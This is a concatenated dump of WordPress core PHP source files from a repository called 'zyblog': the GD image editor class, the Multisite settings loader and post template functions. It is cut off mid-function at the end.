$src_w -= $src_x; $src_h -= $src_y; } if ( function_exists( 'imageantialias' ) ) imageantialias( $dst, true ); imagecopyresampled( $dst, $this->image, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ); if ( is_resource( $dst ) ) { imagedestroy( $this->image ); $this->image = $dst; $this->update_size(); return true; } return new WP_Error( 'image_crop_error', __('Image crop failed.'), $this->file ); } /** * Rotates current image counter-clockwise by $angle. * Ported from image-edit.php * * @since 3.5.0 * @access public * * @param float $angle * @return boolean|WP_Error */ public function rotate( $angle ) { if ( function_exists('imagerotate') ) { $rotated = imagerotate( $this->image, $angle, 0 ); if ( is_resource( $rotated ) ) { imagedestroy( $this->image ); $this->image = $rotated; $this->update_size(); return true; } } return new WP_Error( 'image_rotate_error', __('Image rotate failed.'), $this->file ); } /** * Flips current image. * * @since 3.5.0 * @access public * * @param boolean $horz Horizontal Flip * @param boolean $vert Vertical Flip * @returns boolean|WP_Error */ public function flip( $horz, $vert ) { $w = $this->size['width']; $h = $this->size['height']; $dst = wp_imagecreatetruecolor( $w, $h ); if ( is_resource( $dst ) ) { $sx = $vert ? ($w - 1) : 0; $sy = $horz ? ($h - 1) : 0; $sw = $vert ? -$w : $w; $sh = $horz ? -$h : $h; if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) { imagedestroy( $this->image ); $this->image = $dst; return true; } } return new WP_Error( 'image_flip_error', __('Image flip failed.'), $this->file ); } /** * Saves current in-memory image to file. * * @since 3.5.0 * @access public * * @param string $destfilename * @param string $mime_type * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ public function save( $filename = null, $mime_type = null ) { $saved = $this->_save( $this->image, $filename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; } return $saved; } protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) $filename = $this->generate_filename( null, null, $extension ); if ( 'image/gif' == $mime_type ) { if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) ) return new WP_Error( 'image_save_error', __('Image Editor Save Failed') ); } elseif ( 'image/png' == $mime_type ) { // convert from full colors to index colors, like original PNG. if ( function_exists('imageistruecolor') && ! imageistruecolor( $image ) ) imagetruecolortopalette( $image, false, imagecolorstotal( $image ) ); if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) ) return new WP_Error( 'image_save_error', __('Image Editor Save Failed') ); } elseif ( 'image/jpeg' == $mime_type ) { if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, apply_filters( 'jpeg_quality', $this->quality, 'image_resize' ) ) ) ) return new WP_Error( 'image_save_error', __('Image Editor Save Failed') ); } else { return new WP_Error( 'image_save_error', __('Image Editor Save Failed') ); } // Set correct file permissions $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits @ chmod( $filename, $perms ); return array( 'path' => $filename, 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type'=> $mime_type, ); } /** * Returns stream of current image. * * @since 3.5.0 * @access public * * @param string $mime_type */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); switch ( $mime_type ) { case 'image/png': header( 'Content-Type: image/png' ); return imagepng( $this->image ); case 'image/gif': header( 'Content-Type: image/gif' ); return imagegif( $this->image ); default: header( 'Content-Type: image/jpeg' ); return imagejpeg( $this->image, null, $this->quality ); } } }
zyblog
trunk/zyblog/wp-includes/class-wp-image-editor-gd.php
PHP
asf20
10,620
<?php /** * Used to set up and fix common variables and include * the Multisite procedural and class library. * * Allows for some configuration in wp-config.php (see ms-default-constants.php) * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Include Multisite initialization functions */ require( ABSPATH . WPINC . '/ms-load.php' ); require( ABSPATH . WPINC . '/ms-default-constants.php' ); if ( defined( 'SUNRISE' ) ) include_once( WP_CONTENT_DIR . '/sunrise.php' ); /** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */ ms_subdomain_constants(); if ( !isset( $current_site ) || !isset( $current_blog ) ) { $domain = addslashes( $_SERVER['HTTP_HOST'] ); if ( false !== strpos( $domain, ':' ) ) { if ( substr( $domain, -3 ) == ':80' ) { $domain = substr( $domain, 0, -3 ); $_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -3 ); } elseif ( substr( $domain, -4 ) == ':443' ) { $domain = substr( $domain, 0, -4 ); $_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -4 ); } else { wp_load_translations_early(); wp_die( __( 'Multisite only works without the port number in the URL.' ) ); } } $domain = rtrim( $domain, '.' ); $cookie_domain = $domain; if ( substr( $cookie_domain, 0, 4 ) == 'www.' ) $cookie_domain = substr( $cookie_domain, 4 ); $path = preg_replace( '|([a-z0-9-]+.php.*)|', '', $_SERVER['REQUEST_URI'] ); $path = str_replace ( '/wp-admin/', '/', $path ); $path = preg_replace( '|(/[a-z0-9-]+?/).*|', '$1', $path ); $current_site = wpmu_current_site(); if ( ! isset( $current_site->blog_id ) ) $current_site->blog_id = $wpdb->get_var( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s", $current_site->domain, $current_site->path ) ); if ( is_subdomain_install() ) { $current_blog = wp_cache_get( 'current_blog_' . $domain, 'site-options' ); if ( !$current_blog ) { $current_blog = get_blog_details( array( 'domain' => $domain ), false ); if ( $current_blog ) wp_cache_set( 'current_blog_' . $domain, $current_blog, 'site-options' ); } if ( $current_blog && $current_blog->site_id != $current_site->id ) { $current_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->site WHERE id = %d", $current_blog->site_id ) ); if ( ! isset( $current_site->blog_id ) ) $current_site->blog_id = $wpdb->get_var( $wpdb->prepare( "SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s", $current_site->domain, $current_site->path ) ); } else $blogname = substr( $domain, 0, strpos( $domain, '.' ) ); } else { $blogname = htmlspecialchars( substr( $_SERVER[ 'REQUEST_URI' ], strlen( $path ) ) ); if ( false !== strpos( $blogname, '/' ) ) $blogname = substr( $blogname, 0, strpos( $blogname, '/' ) ); if ( false !== strpos( $blogname, '?' ) ) $blogname = substr( $blogname, 0, strpos( $blogname, '?' ) ); $reserved_blognames = array( 'page', 'comments', 'blog', 'wp-admin', 'wp-includes', 'wp-content', 'files', 'feed' ); if ( $blogname != '' && ! in_array( $blogname, $reserved_blognames ) && ! is_file( $blogname ) ) $path .= $blogname . '/'; $current_blog = wp_cache_get( 'current_blog_' . $domain . $path, 'site-options' ); if ( ! $current_blog ) { $current_blog = get_blog_details( array( 'domain' => $domain, 'path' => $path ), false ); if ( $current_blog ) wp_cache_set( 'current_blog_' . $domain . $path, $current_blog, 'site-options' ); } unset($reserved_blognames); } if ( ! defined( 'WP_INSTALLING' ) && is_subdomain_install() && ! is_object( $current_blog ) ) { if ( defined( 'NOBLOGREDIRECT' ) ) { $destination = NOBLOGREDIRECT; if ( '%siteurl%' == $destination ) $destination = "http://" . $current_site->domain . $current_site->path; } else { $destination = 'http://' . $current_site->domain . $current_site->path . 'wp-signup.php?new=' . str_replace( '.' . $current_site->domain, '', $domain ); } header( 'Location: ' . $destination ); die(); } if ( ! defined( 'WP_INSTALLING' ) ) { if ( $current_site && ! $current_blog ) { if ( $current_site->domain != $_SERVER[ 'HTTP_HOST' ] ) { header( 'Location: http://' . $current_site->domain . $current_site->path ); exit; } $current_blog = get_blog_details( array( 'domain' => $current_site->domain, 'path' => $current_site->path ), false ); } if ( ! $current_blog || ! $current_site ) ms_not_installed(); } $blog_id = $current_blog->blog_id; $public = $current_blog->public; if ( empty( $current_blog->site_id ) ) $current_blog->site_id = 1; $site_id = $current_blog->site_id; $current_site = get_current_site_name( $current_site ); if ( ! $blog_id ) { if ( defined( 'WP_INSTALLING' ) ) { $current_blog->blog_id = $blog_id = 1; } else { wp_load_translations_early(); $msg = ! $wpdb->get_var( "SHOW TABLES LIKE '$wpdb->site'" ) ? ' ' . __( 'Database tables are missing.' ) : ''; wp_die( __( 'No site by that name on this system.' ) . $msg ); } } } $wpdb->set_prefix( $table_prefix, false ); // $table_prefix can be set in sunrise.php $wpdb->set_blog_id( $current_blog->blog_id, $current_blog->site_id ); $table_prefix = $wpdb->get_blog_prefix(); $_wp_switched_stack = array(); $switched = false; // need to init cache again after blog_id is set wp_start_object_cache(); // Define upload directory constants ms_upload_constants();
zyblog
trunk/zyblog/wp-includes/ms-settings.php
PHP
asf20
5,419
<?php /** * WordPress Post Template Functions. * * Gets content for the current post in the loop. * * @package WordPress * @subpackage Template */ /** * Display the ID of the current item in the WordPress Loop. * * @since 0.71 */ function the_ID() { echo get_the_ID(); } /** * Retrieve the ID of the current item in the WordPress Loop. * * @since 2.1.0 * @uses $post * * @return int */ function get_the_ID() { return get_post()->ID; } /** * Display or retrieve the current post title with optional content. * * @since 0.71 * * @param string $before Optional. Content to prepend to the title. * @param string $after Optional. Content to append to the title. * @param bool $echo Optional, default to true.Whether to display or return. * @return null|string Null on no title. String if $echo parameter is false. */ function the_title($before = '', $after = '', $echo = true) { $title = get_the_title(); if ( strlen($title) == 0 ) return; $title = $before . $title . $after; if ( $echo ) echo $title; else return $title; } /** * Sanitize the current title when retrieving or displaying. * * Works like {@link the_title()}, except the parameters can be in a string or * an array. See the function for what can be override in the $args parameter. * * The title before it is displayed will have the tags stripped and {@link * esc_attr()} before it is passed to the user or displayed. The default * as with {@link the_title()}, is to display the title. * * @since 2.3.0 * * @param string|array $args Optional. Override the defaults. * @return string|null Null on failure or display. String when echo is false. */ function the_title_attribute( $args = '' ) { $title = get_the_title(); if ( strlen($title) == 0 ) return; $defaults = array('before' => '', 'after' => '', 'echo' => true); $r = wp_parse_args($args, $defaults); extract( $r, EXTR_SKIP ); $title = $before . $title . $after; $title = esc_attr(strip_tags($title)); if ( $echo ) echo $title; else return $title; } /** * Retrieve post title. * * If the post is protected and the visitor is not an admin, then "Protected" * will be displayed before the post title. If the post is private, then * "Private" will be located before the post title. * * @since 0.71 * * @param mixed $post Optional. Post ID or object. * @return string */ function get_the_title( $post = 0 ) { $post = get_post( $post ); $title = isset( $post->post_title ) ? $post->post_title : ''; $id = isset( $post->ID ) ? $post->ID : 0; if ( ! is_admin() ) { if ( ! empty( $post->post_password ) ) { $protected_title_format = apply_filters( 'protected_title_format', __( 'Protected: %s' ) ); $title = sprintf( $protected_title_format, $title ); } else if ( isset( $post->post_status ) && 'private' == $post->post_status ) { $private_title_format = apply_filters( 'private_title_format', __( 'Private: %s' ) ); $title = sprintf( $private_title_format, $title ); } } return apply_filters( 'the_title', $title, $id ); } /** * Display the Post Global Unique Identifier (guid). * * The guid will appear to be a link, but should not be used as an link to the * post. The reason you should not use it as a link, is because of moving the * blog across domains. * * Url is escaped to make it xml safe * * @since 1.5.0 * * @param int $id Optional. Post ID. */ function the_guid( $id = 0 ) { echo esc_url( get_the_guid( $id ) ); } /** * Retrieve the Post Global Unique Identifier (guid). * * The guid will appear to be a link, but should not be used as an link to the * post. The reason you should not use it as a link, is because of moving the * blog across domains. * * @since 1.5.0 * * @param int $id Optional. Post ID. * @return string */ function get_the_guid( $id = 0 ) { $post = get_post($id); return apply_filters('get_the_guid', $post->guid); } /** * Display the post content. * * @since 0.71 * * @param string $more_link_text Optional. Content for when there is more text. * @param bool $stripteaser Optional. Strip teaser content before the more text. Default is false. */ function the_content($more_link_text = null, $stripteaser = false) { $content = get_the_content($more_link_text, $stripteaser); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]&gt;', $content); echo $content; } /** * Retrieve the post content. * * @since 0.71 * * @param string $more_link_text Optional. Content for when there is more text. * @param bool $stripteaser Optional. Strip teaser content before the more text. Default is false. * @return string */ function get_the_content( $more_link_text = null, $stripteaser = false ) { global $more, $page, $pages, $multipage, $preview; $post = get_post(); if ( null === $more_link_text ) $more_link_text = __( '(more...)' ); $output = ''; $hasTeaser = false; // If post password required and it doesn't match the cookie. if ( post_password_required() ) return get_the_password_form(); if ( $page > count($pages) ) // if the requested page doesn't exist $page = count($pages); // give them the highest numbered page that DOES exist $content = $pages[$page-1]; if ( preg_match('/<!--more(.*?)?-->/', $content, $matches) ) { $content = explode($matches[0], $content, 2); if ( !empty($matches[1]) && !empty($more_link_text) ) $more_link_text = strip_tags(wp_kses_no_null(trim($matches[1]))); $hasTeaser = true; } else { $content = array($content); } if ( (false !== strpos($post->post_content, '<!--noteaser-->') && ((!$multipage) || ($page==1))) ) $stripteaser = true; $teaser = $content[0]; if ( $more && $stripteaser && $hasTeaser ) $teaser = ''; $output .= $teaser; if ( count($content) > 1 ) { if ( $more ) { $output .= '<span id="more-' . $post->ID . '"></span>' . $content[1]; } else { if ( ! empty($more_link_text) ) $output .= apply_filters( 'the_content_more_link', ' <a href="' . get_permalink() . "#more-{$post->ID}\" class=\"more-link\">$more_link_text</a>", $more_link_text ); $output = force_balance_tags($output); } } if ( $preview ) // preview fix for javascript bug with foreign languages $output = preg_replace_callback('/\%u([0-9A-F]{4})/', '_convert_urlencoded_to_entities', $output); return $output; } /** * Preview fix for javascript bug with foreign languages * * @since 3.1.0 * @access private * @param array $match Match array from preg_replace_callback * @return string */ function _convert_urlencoded_to_entities( $match ) { return '&#' . base_convert( $match[1], 16, 10 ) . ';'; } /** * Display the post excerpt. * * @since 0.71 * @uses apply_filters() Calls 'the_excerpt' hook on post excerpt. */ function the_excerpt() { echo apply_filters('the_excerpt', get_the_excerpt()); } /** * Retrieve the post excerpt. * * @since 0.71 * * @param mixed $deprecated Not used. * @return string */ function get_the_excerpt( $deprecated = '' ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.3' ); $post = get_post(); if ( post_password_required() ) { return __( 'There is no excerpt because this is a protected post.' ); } return apply_filters( 'get_the_excerpt', $post->post_excerpt ); } /** * Whether post has excerpt. * * @since 2.3.0 * * @param int $id Optional. Post ID. * @return bool */ function has_excerpt( $id = 0 ) { $post = get_post( $id ); return ( !empty( $post->post_excerpt ) ); } /** * Display the classes for the post div. * * @since 2.7.0 * * @param string|array $class One or more classes to add to the class list. * @param int $post_id An optional post ID. */ function post_class( $class = '', $post_id = null ) { // Separates classes with a single space, collates classes for post DIV echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"'; } /** * Retrieve the classes for the post div as an array. * * The class names are add are many. If the post is a sticky, then the 'sticky' * class name. The class 'hentry' is always added to each post. For each * category, the class will be added with 'category-' with category slug is * added. The tags are the same way as the categories with 'tag-' before the tag * slug. All classes are passed through the filter, 'post_class' with the list * of classes, followed by $class parameter value, with the post ID as the last * parameter. * * @since 2.7.0 * * @param string|array $class One or more classes to add to the class list. * @param int $post_id An optional post ID. * @return array Array of classes. */ function get_post_class( $class = '', $post_id = null ) { $post = get_post($post_id); $classes = array(); if ( empty($post) ) return $classes; $classes[] = 'post-' . $post->ID; if ( ! is_admin() ) $classes[] = $post->post_type; $classes[] = 'type-' . $post->post_type; $classes[] = 'status-' . $post->post_status; // Post Format if ( post_type_supports( $post->post_type, 'post-formats' ) ) { $post_format = get_post_format( $post->ID ); if ( $post_format && !is_wp_error($post_format) ) $classes[] = 'format-' . sanitize_html_class( $post_format ); else $classes[] = 'format-standard'; } // post requires password if ( post_password_required($post->ID) ) $classes[] = 'post-password-required'; // sticky for Sticky Posts if ( is_sticky($post->ID) && is_home() && !is_paged() ) $classes[] = 'sticky'; // hentry for hAtom compliance $classes[] = 'hentry'; // Categories if ( is_object_in_taxonomy( $post->post_type, 'category' ) ) { foreach ( (array) get_the_category($post->ID) as $cat ) { if ( empty($cat->slug ) ) continue; $classes[] = 'category-' . sanitize_html_class($cat->slug, $cat->term_id); } } // Tags if ( is_object_in_taxonomy( $post->post_type, 'post_tag' ) ) { foreach ( (array) get_the_tags($post->ID) as $tag ) { if ( empty($tag->slug ) ) continue; $classes[] = 'tag-' . sanitize_html_class($tag->slug, $tag->term_id); } } if ( !empty($class) ) { if ( !is_array( $class ) ) $class = preg_split('#\s+#', $class); $classes = array_merge($classes, $class); } $classes = array_map('esc_attr', $classes); return apply_filters('post_class', $classes, $class, $post->ID); } /** * Display the classes for the body element. * * @since 2.8.0 * * @param string|array $class One or more classes to add to the class list. */ function body_class( $class = '' ) { // Separates classes with a single space, collates classes for body element echo 'class="' . join( ' ', get_body_class( $class ) ) . '"'; } /** * Retrieve the classes for the body element as an array. * * @since 2.8.0 * * @param string|array $class One or more classes to add to the class list. * @return array Array of classes. */ function get_body_class( $class = '' ) { global $wp_query, $wpdb; $classes = array(); if ( is_rtl() ) $classes[] = 'rtl'; if ( is_front_page() ) $classes[] = 'home'; if ( is_home() ) $classes[] = 'blog'; if ( is_archive() ) $classes[] = 'archive'; if ( is_date() ) $classes[] = 'date'; if ( is_search() ) { $classes[] = 'search'; $classes[] = $wp_query->posts ? 'search-results' : 'search-no-results'; } if ( is_paged() ) $classes[] = 'paged'; if ( is_attachment() ) $classes[] = 'attachment'; if ( is_404() ) $classes[] = 'error404'; if ( is_single() ) { $post_id = $wp_query->get_queried_object_id(); $post = $wp_query->get_queried_object(); $classes[] = 'single'; if ( isset( $post->post_type ) ) { $classes[] = 'single-' . sanitize_html_class($post->post_type, $post_id); $classes[] = 'postid-' . $post_id; // Post Format if ( post_type_supports( $post->post_type, 'post-formats' ) ) { $post_format = get_post_format( $post->ID ); if ( $post_format && !is_wp_error($post_format) ) $classes[] = 'single-format-' . sanitize_html_class( $post_format ); else $classes[] = 'single-format-standard'; } } if ( is_attachment() ) { $mime_type = get_post_mime_type($post_id); $mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' ); $classes[] = 'attachmentid-' . $post_id; $classes[] = 'attachment-' . str_replace( $mime_prefix, '', $mime_type ); } } elseif ( is_archive() ) { if ( is_post_type_archive() ) { $classes[] = 'post-type-archive'; $classes[] = 'post-type-archive-' . sanitize_html_class( get_query_var( 'post_type' ) ); } else if ( is_author() ) { $author = $wp_query->get_queried_object(); $classes[] = 'author'; if ( isset( $author->user_nicename ) ) { $classes[] = 'author-' . sanitize_html_class( $author->user_nicename, $author->ID ); $classes[] = 'author-' . $author->ID; } } elseif ( is_category() ) { $cat = $wp_query->get_queried_object(); $classes[] = 'category'; if ( isset( $cat->term_id ) ) { $classes[] = 'category-' . sanitize_html_class( $cat->slug, $cat->term_id ); $classes[] = 'category-' . $cat->term_id; } } elseif ( is_tag() ) { $tags = $wp_query->get_queried_object(); $classes[] = 'tag'; if ( isset( $tags->term_id ) ) { $classes[] = 'tag-' . sanitize_html_class( $tags->slug, $tags->term_id ); $classes[] = 'tag-' . $tags->term_id; } } elseif ( is_tax() ) { $term = $wp_query->get_queried_object(); if ( isset( $term->term_id ) ) { $classes[] = 'tax-' . sanitize_html_class( $term->taxonomy ); $classes[] = 'term-' . sanitize_html_class( $term->slug, $term->term_id ); $classes[] = 'term-' . $term->term_id; } } } elseif ( is_page() ) { $classes[] = 'page'; $page_id = $wp_query->get_queried_object_id(); $post = get_post($page_id); $classes[] = 'page-id-' . $page_id; if ( $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' AND post_status = 'publish' LIMIT 1", $page_id) ) ) $classes[] = 'page-parent'; if ( $post->post_parent ) { $classes[] = 'page-child'; $classes[] = 'parent-pageid-' . $post->post_parent; } if ( is_page_template() ) { $classes[] = 'page-template'; $classes[] = 'page-template-' . sanitize_html_class( str_replace( '.', '-', get_page_template_slug( $page_id ) ) ); } else { $classes[] = 'page-template-default'; } } if ( is_user_logged_in() ) $classes[] = 'logged-in'; if ( is_admin_bar_showing() ) { $classes[] = 'admin-bar'; $classes[] = 'no-customize-support'; } if ( get_theme_mod( 'background_color' ) || get_background_image() ) $classes[] = 'custom-background'; $page = $wp_query->get( 'page' ); if ( !$page || $page < 2) $page = $wp_query->get( 'paged' ); if ( $page && $page > 1 ) { $classes[] = 'paged-' . $page; if ( is_single() ) $classes[] = 'single-paged-' . $page; elseif ( is_page() ) $classes[] = 'page-paged-' . $page; elseif ( is_category() ) $classes[] = 'category-paged-' . $page; elseif ( is_tag() ) $classes[] = 'tag-paged-' . $page; elseif ( is_date() ) $classes[] = 'date-paged-' . $page; elseif ( is_author() ) $classes[] = 'author-paged-' . $page; elseif ( is_search() ) $classes[] = 'search-paged-' . $page; elseif ( is_post_type_archive() ) $classes[] = 'post-type-paged-' . $page; } if ( ! empty( $class ) ) { if ( !is_array( $class ) ) $class = preg_split( '#\s+#', $class ); $classes = array_merge( $classes, $class ); } else { // Ensure that we always coerce class to being an array. $class = array(); } $classes = array_map( 'esc_attr', $classes ); return apply_filters( 'body_class', $classes, $class ); } /** * Whether post requires password and correct password has been provided. * * @since 2.7.0 * * @param int|object $post An optional post. Global $post used if not provided. * @return bool false if a password is not required or the correct password cookie is present, true otherwise. */ function post_password_required( $post = null ) { global $wp_hasher; $post = get_post($post); if ( empty( $post->post_password ) ) return false; if ( ! isset( $_COOKIE['wp-postpass_' . COOKIEHASH] ) ) return true; if ( empty( $wp_hasher ) ) { require_once( ABSPATH . 'wp-includes/class-phpass.php'); // By default, use the portable hash from phpass $wp_hasher = new PasswordHash(8, true); } $hash = stripslashes( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] ); return ! $wp_hasher->CheckPassword( $post->post_password, $hash ); } /** * Page Template Functions for usage in Themes * * @package WordPress * @subpackage Template */ /** * The formatted output of a list of pages. * * Displays page links for paginated posts (i.e. includes the <!--nextpage-->. * Quicktag one or more times). This tag must be within The Loop. * * The defaults for overwriting are: * 'next_or_number' - Default is 'number' (string). Indicates whether page * numbers should be used. Valid values are number and next. * 'nextpagelink' - Default is 'Next Page' (string). Text for link to next page. * of the bookmark. * 'previouspagelink' - Default is 'Previous Page' (string). Text for link to * previous page, if available. * 'pagelink' - Default is '%' (String).Format string for page numbers. The % in * the parameter string will be replaced with the page number, so Page % * generates "Page 1", "Page 2", etc. Defaults to %, just the page number. * 'before' - Default is '<p> Pages:' (string). The html or text to prepend to * each bookmarks. * 'after' - Default is '</p>' (string). The html or text to append to each * bookmarks. * 'link_before' - Default is '' (string). The html or text to prepend to each * Pages link inside the <a> tag. Also prepended to the current item, which * is not linked. * 'link_after' - Default is '' (string). The html or text to append to each * Pages link inside the <a> tag. Also appended to the current item, which * is not linked. * * @since 1.2.0 * @access private * * @param string|array $args Optional. Overwrite the defaults. * @return string Formatted output in HTML. */ function wp_link_pages($args = '') { $defaults = array( 'before' => '<p>' . __('Pages:'), 'after' => '</p>', 'link_before' => '', 'link_after' => '', 'next_or_number' => 'number', 'nextpagelink' => __('Next page'), 'previouspagelink' => __('Previous page'), 'pagelink' => '%', 'echo' => 1 ); $r = wp_parse_args( $args, $defaults ); $r = apply_filters( 'wp_link_pages_args', $r ); extract( $r, EXTR_SKIP ); global $page, $numpages, $multipage, $more, $pagenow; $output = ''; if ( $multipage ) { if ( 'number' == $next_or_number ) { $output .= $before; for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) { $j = str_replace('%',$i,$pagelink); $output .= ' '; if ( ($i != $page) || ((!$more) && ($page==1)) ) { $output .= _wp_link_page($i); } $output .= $link_before . $j . $link_after; if ( ($i != $page) || ((!$more) && ($page==1)) ) $output .= '</a>'; } $output .= $after; } else { if ( $more ) { $output .= $before; $i = $page - 1; if ( $i && $more ) { $output .= _wp_link_page($i); $output .= $link_before. $previouspagelink . $link_after . '</a>'; } $i = $page + 1; if ( $i <= $numpages && $more ) { $output .= _wp_link_page($i); $output .= $link_before. $nextpagelink . $link_after . '</a>'; } $output .= $after; } } } if ( $echo ) echo $output; return $output; } /** * Helper function for wp_link_pages(). * * @since 3.1.0 * @access private * * @param int $i Page number. * @return string Link. */ function _wp_link_page( $i ) { global $wp_rewrite; $post = get_post(); if ( 1 == $i ) { $url = get_permalink(); } else { if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) ) $url = add_query_arg( 'page', $i, get_permalink() ); elseif ( 'page' == get_option('show_on_front') && get_option('page_on_front') == $post->ID ) $url = trailingslashit(get_permalink()) . user_trailingslashit("$wp_rewrite->pagination_base/" . $i, 'single_paged'); else $url = trailingslashit(get_permalink()) . user_trailingslashit($i, 'single_paged'); } return '<a href="' . esc_url( $url ) . '">'; } // // Post-meta: Custom per-post fields. // /** * Retrieve post custom meta data field. * * @since 1.5.0 * * @param string $key Meta data key name. * @return bool|string|array Array of values or single value, if only one element exists. False will be returned if key does not exist. */ function post_custom( $key = '' ) { $custom = get_post_custom(); if ( !isset( $custom[$key] ) ) return false; elseif ( 1 == count($custom[$key]) ) return $custom[$key][0]; else return $custom[$key]; } /** * Display list of post custom fields. * * @internal This will probably change at some point... * @since 1.2.0 * @uses apply_filters() Calls 'the_meta_key' on list item HTML content, with key and value as separate parameters. */ function the_meta() { if ( $keys = get_post_custom_keys() ) { echo "<ul class='post-meta'>\n"; foreach ( (array) $keys as $key ) { $keyt = trim($key); if ( is_protected_meta( $keyt, 'post' ) ) continue; $values = array_map('trim', get_post_custom_values($key)); $value = implode($values,', '); echo apply_filters('the_meta_key', "<li><span class='post-meta-key'>$key:</span> $value</li>\n", $key, $value); } echo "</ul>\n"; } } // // Pages // /** * Retrieve or display list of pages as a dropdown (select list). * * @since 2.1.0 * * @param array|string $args Optional. Override default arguments. * @return string HTML content, if not displaying. */ function wp_dropdown_pages($args = '') { $defaults = array( 'depth' => 0, 'child_of' => 0, 'selected' => 0, 'echo' => 1, 'name' => 'page_id', 'id' => '', 'show_option_none' => '', 'show_option_no_change' => '', 'option_none_value' => '' ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); $pages = get_pages($r); $output = ''; // Back-compat with old system where both id and name were based on $name argument if ( empty($id) ) $id = $name; if ( ! empty($pages) ) { $output = "<select name='" . esc_attr( $name ) . "' id='" . esc_attr( $id ) . "'>\n"; if ( $show_option_no_change ) $output .= "\t<option value=\"-1\">$show_option_no_change</option>"; if ( $show_option_none ) $output .= "\t<option value=\"" . esc_attr($option_none_value) . "\">$show_option_none</option>\n"; $output .= walk_page_dropdown_tree($pages, $depth, $r); $output .= "</select>\n"; } $output = apply_filters('wp_dropdown_pages', $output); if ( $echo ) echo $output; return $output; } /** * Retrieve or display list of pages in list (li) format. * * @since 1.5.0 * * @param array|string $args Optional. Override default arguments. * @return string HTML content, if not displaying. */ function wp_list_pages($args = '') { $defaults = array( 'depth' => 0, 'show_date' => '', 'date_format' => get_option('date_format'), 'child_of' => 0, 'exclude' => '', 'title_li' => __('Pages'), 'echo' => 1, 'authors' => '', 'sort_column' => 'menu_order, post_title', 'link_before' => '', 'link_after' => '', 'walker' => '', ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); $output = ''; $current_page = 0; // sanitize, mostly to keep spaces out $r['exclude'] = preg_replace('/[^0-9,]/', '', $r['exclude']); // Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array) $exclude_array = ( $r['exclude'] ) ? explode(',', $r['exclude']) : array(); $r['exclude'] = implode( ',', apply_filters('wp_list_pages_excludes', $exclude_array) ); // Query pages. $r['hierarchical'] = 0; $pages = get_pages($r); if ( !empty($pages) ) { if ( $r['title_li'] ) $output .= '<li class="pagenav">' . $r['title_li'] . '<ul>'; global $wp_query; if ( is_page() || is_attachment() || $wp_query->is_posts_page ) $current_page = $wp_query->get_queried_object_id(); $output .= walk_page_tree($pages, $r['depth'], $current_page, $r); if ( $r['title_li'] ) $output .= '</ul></li>'; } $output = apply_filters('wp_list_pages', $output, $r); if ( $r['echo'] ) echo $output; else return $output; } /** * Display or retrieve list of pages with optional home link. * * The arguments are listed below and part of the arguments are for {@link * wp_list_pages()} function. Check that function for more info on those * arguments. * * <ul> * <li><strong>sort_column</strong> - How to sort the list of pages. Defaults * to page title. Use column for posts table.</li> * <li><strong>menu_class</strong> - Class to use for the div ID which contains * the page list. Defaults to 'menu'.</li> * <li><strong>echo</strong> - Whether to echo list or return it. Defaults to * echo.</li> * <li><strong>link_before</strong> - Text before show_home argument text.</li> * <li><strong>link_after</strong> - Text after show_home argument text.</li> * <li><strong>show_home</strong> - If you set this argument, then it will * display the link to the home page. The show_home argument really just needs * to be set to the value of the text of the link.</li> * </ul> * * @since 2.7.0 * * @param array|string $args * @return string html menu */ function wp_page_menu( $args = array() ) { $defaults = array('sort_column' => 'menu_order, post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => ''); $args = wp_parse_args( $args, $defaults ); $args = apply_filters( 'wp_page_menu_args', $args ); $menu = ''; $list_args = $args; // Show Home in the menu if ( ! empty($args['show_home']) ) { if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] ) $text = __('Home'); else $text = $args['show_home']; $class = ''; if ( is_front_page() && !is_paged() ) $class = 'class="current_page_item"'; $menu .= '<li ' . $class . '><a href="' . home_url( '/' ) . '" title="' . esc_attr($text) . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>'; // If the front page is a page, add it to the exclude list if (get_option('show_on_front') == 'page') { if ( !empty( $list_args['exclude'] ) ) { $list_args['exclude'] .= ','; } else { $list_args['exclude'] = ''; } $list_args['exclude'] .= get_option('page_on_front'); } } $list_args['echo'] = false; $list_args['title_li'] = ''; $menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) ); if ( $menu ) $menu = '<ul>' . $menu . 